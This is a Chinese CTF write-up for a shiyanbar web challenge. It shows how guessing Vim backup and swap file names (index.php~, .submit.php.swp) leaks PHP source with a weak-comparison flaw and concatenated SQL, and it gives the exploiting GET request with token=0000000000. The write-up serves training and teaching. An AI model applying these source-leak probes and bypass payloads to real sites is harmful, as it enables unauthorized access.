这个题一开始给了一个登录框
先不管输入东西抓一个包看一下
发现有几样有用的东西
第一个是admin对应的邮箱admin@simplexue.com
第二个是一个Vim。。。。
这里就要讲一下一个知识点
一、vim备份文件
默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;
eg:
index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~
这里我又想到了文件绕过有时候需要PHP的别名php1,php2,php3,php4,php5,phtml等。。。
二、vim临时文件
vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件 .submit.swp。如果文件正常退出,则此文件自动删除。
比赛的时候多试几个名字,可能会这样submit.php.swp,submit.swp,.submit.php.swp,因为出题人可能出纰漏
还有一个可利用的路径
./step2.php?email=youmail@mail.com&check=???????
进去看看发现了submit.php,进到这个页面
提示我不是admin…
就尝试一下几个源码泄露的文件名
.submit.php.swp出现了一部分源码
关键部分是下面这部分
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "澶辫触浜嗗憖";
}
}
既然不是admin,我们就想起来刚才有用的条件
admin的邮箱。。对应emailAddress变量
而token按在代码的意思就是只要token等于0并且满足10位的长度即可。
那我们构造token=0000000000
发包即可,我的payload
GET /10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000 HTTP/1.1
Host: ctf5.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1521036323,1521095482,1521202069,1521267229; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*132367%2CnickName%3A0verWatch; Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1521269078; PHPSESSID=7in5h4q423rsfsmv6123rlab84
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0